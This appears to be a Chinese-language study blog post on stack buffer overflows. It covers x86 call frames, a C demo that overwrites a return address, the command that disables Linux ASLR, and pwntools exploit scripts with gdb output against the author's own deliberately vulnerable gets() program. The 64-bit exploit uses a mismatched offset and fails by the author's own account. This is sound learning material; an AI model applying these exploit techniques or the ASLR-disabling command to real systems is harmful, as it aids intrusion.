棧溢出示例代碼:
-
-
-
-
-
-
void Msg() {
-
MessageBoxA( NULL, "嘿嘿!", "堆棧溢出測試", 0);
-
}
-
-
int Add(int a, int b) {
-
int* p = &a;
-
*(p -1) = (int)Msg;
-
return a + b;
-
}
-
-
void main() {
-
printf("%d", Add(1, 2));
-
system( "pause");
-
return;
-
}
運行結果:
按下確定以后出現異常:
首先在講解原理之前首先介紹一些基本知識便於理解原理:
匯編層面的函數調用過程
每個函數的每次調用,都有它自己獨立的一個棧幀,這個棧幀中維持着所需要的各種信息。寄存器ebp指向當前的棧幀的底部(高地址),寄存器esp指向當前的棧幀的頂部(低地址)。
下圖表示當正在執行FunctonA函數時的棧情況:系統棧可以認為是全部棧空間。棧幀對應每一個函數調用,EBP寄存器存放當前活動棧幀的棧底,ESP寄存器存放當前活動棧幀的棧頂。當前函數可以在當前的棧幀區域內存放局部變量和信息,全局的變量不存放在棧,有專門的區域存放。
下圖表示call FunctionB之前做的工作:首先PUSH 函數的參數,從右向左壓入,然后保存call FunctionB下一條指令的地址,便於函數返回。這個保存下一條指令地址和跳轉到FunctionB處由 call 指令完成。
下圖表示創建新的FunctionB的棧幀:首先PUSH EBP 保存舊棧幀的棧底,用於函數返回。然后MOV EBP,ESP,設置當前EBP為舊棧幀棧底的地址處(如下圖),最后SUB ESP, 0X0C0H ,ESP向上開辟空間,具體開辟多少根據編譯器。到此新的棧幀開辟完了。(題外話:FunctionB可以通過EBP+8 獲取到arg0,EBP+12獲取到arg1,這就是為什么倒着壓入參數的原因。如果FunctionB里面有局部變量,則可以放在EBP和ESP這段棧空間里面。)
下圖表示FunctionB函數返回后棧的變化:首先 MOV ESP,EBP POP EBP來還原EBP為舊的棧幀棧底。然后RET 到call FunctionB的下一條指令處(RET 包含POP JMP,所以下一條指令地址恰好被提出),最后ADD ESP,8 ,去掉壓入的參數,8是因為壓入了2個參數。到此已經還原了原來的環境了。整個調用過程結束了。
現在進入主題,介紹原理:上面的代碼核心思想就是改變調用Add(1,2)時,改變返回的地址(就是下一條指令的地址):
修改這個地址內容為Msg()入口地址,這樣就會執行Msg()代碼。關鍵時怎么確定這個地址,然后寫入Msg()入口地址搞定他。其實我們可以通過Add(int a,int b)的參數a確定下一條地址的地址,如圖:獲取a變量的地址,然后向上退就可以到下一條指令的地址,如后覆蓋為Msg(),入口地址即可。
關鍵代碼解釋:
-
int* p = &a;//獲取a變量的地址
-
*(p -1) = (int)Msg;//上退覆蓋地址為Msg入口地址,這里(p-1)而不是-4是因為p為地址,減一就是減一個字
首先需要補充一下aslr,linux下:
我們可以通過修改 /proc/sys/kernel/randomize_va_space 來控制 ASLR 啟動與否,具體的選項有
0,關閉 ASLR,沒有隨機化。棧、堆、.so 的基地址每次都相同。
1,普通的 ASLR。棧基地址、mmap 基地址、.so 加載基地址都將被隨機化,但是堆基地址沒有隨機化。
2,增強的 ASLR,在 1 的基礎上,增加了堆基地址隨機化。
我們可以使用echo 0 > /proc/sys/kernel/randomize_va_space關閉 Linux 系統的 ASLR,類似的,也可以配置相應的參數。
棧溢出原理
最基本的棧溢出原理無非就是通過控制輸入, 填充, 覆蓋掉ebp, 同時重寫返回地址。下面這個例子的最終目的是通過棧溢出,獲得shell。
比如:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() { char s[12]; gets(s); puts(s); return; }
int main(int argc, char **argv) {
vulnerable();
return 0;
}
當然我是把很多模式都關掉了
% checksec stack_example
[*] '/home/abc/Desktop/pwn/example/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
使用 -fno-stack-protector
和-no-pie
關閉canary
和PIE
IDA拖進去之后主要是看vulnerable
函數
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
可以知道s
距離 ebp
為0x14h個字節
直接沖掉, 同時把返回地址變成我們想要的(看最上面的例子就知道為何是14了,70-56=14)
.text:08048456 success proc near
.text:08048456
.text:08048456 var_4 = dword ptr -4
.text:08048456
.text:08048456 push ebp .text:08048457 mov ebp, esp .text:08048459 push ebx .text:0804845A sub esp, 4 .text:0804845D call __x86_get_pc_thunk_ax .text:08048462 add eax, 1B9Eh .text:08048467 sub esp, 0Ch .text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it." .text:08048470 push edx ; s
.text:08048471 mov ebx, eax
.text:08048473 call _puts
.text:08048478 add esp, 10h
.text:0804847B nop
.text:0804847C mov ebx, [ebp+var_4]
.text:0804847F leave
.text:08048480 retn
.text:08048480 success endp
返回地址需要變成 0x08048456 ----???為啥是這個???
然后寫exp
from pwn import *
context.binary = './stack_example'
if args['DEBUG']:
context.log_level = 'debug'
#context.log_level = 'debug'
p = process('./stack_example')
payload = 'a'*0x14+'bbbb'
payload += p32(0x08048456)
p.sendline(payload)
p.interactive()
結果:
% python exp.py
[*] '/home/abc/Desktop/pwn/example/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './stack_example': pid 48512
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbV\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$ whoami [*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 48512) [*] Got EOF while sending in interactive
在我的mac docker kali linux環境下運行:
cc -fno-stack-protector -no-pie bone.c -o bone gdb bone
通過匯編查看反匯編碼:
(gdb) disas main
Dump of assembler code for function main:
0x000000000040116d <+0>: push %rbp
0x000000000040116e <+1>: mov %rsp,%rbp
0x0000000000401171 <+4>: sub $0x10,%rsp
0x0000000000401175 <+8>: mov %edi,-0x4(%rbp)
0x0000000000401178 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040117c <+15>: mov $0x0,%eax
0x0000000000401181 <+20>: callq 0x401145 <vulnerable>
0x0000000000401186 <+25>: mov $0x0,%eax
0x000000000040118b <+30>: leaveq
0x000000000040118c <+31>: retq
End of assembler dump.
(gdb) disas vulnerable
Dump of assembler code for function vulnerable:
0x0000000000401145 <+0>: push %rbp // 看來我是應該覆蓋這個地址
0x0000000000401146 <+1>: mov %rsp,%rbp
0x0000000000401149 <+4>: sub $0x10,%rsp
0x000000000040114d <+8>: lea -0xc(%rbp),%rax
0x0000000000401151 <+12>: mov %rax,%rdi
0x0000000000401154 <+15>: mov $0x0,%eax
0x0000000000401159 <+20>: callq 0x401040 <gets@plt>
0x000000000040115e <+25>: lea -0xc(%rbp),%rax
0x0000000000401162 <+29>: mov %rax,%rdi
0x0000000000401165 <+32>: callq 0x401030 <puts@plt>
0x000000000040116a <+37>: nop
0x000000000040116b <+38>: leaveq
0x000000000040116c <+39>: retq
End of assembler dump.
(gdb) q
於是我的pwn代碼編寫如下:
from pwn import * context.binary = './bone' if args['DEBUG']: context.log_level = 'debug' #context.log_level = 'debug' p = process('./bone') payload = 'a'*0x14+'bbbb' addr = 0x0000000000401145 payload += p64(addr).decode() p.sendline(payload) p.interactive()
運行:
../code/pwn_demo# python3 exp.py
[*] '/home/bonelee/shell_coders_handbook/code/pwn_demo/bone'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './bone': pid 3931
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbE\x11
[*] Got EOF while reading in interactive
$ whoami
[*] Process './bone' stopped with exit code -11 (SIGSEGV) (pid 3931)
[*] Got EOF while sending in interactive
雖然是獲得了$,但是執行命令沒有返回,貌似這個例子不完美。
后面再深入學吧,總算是完成了hello world。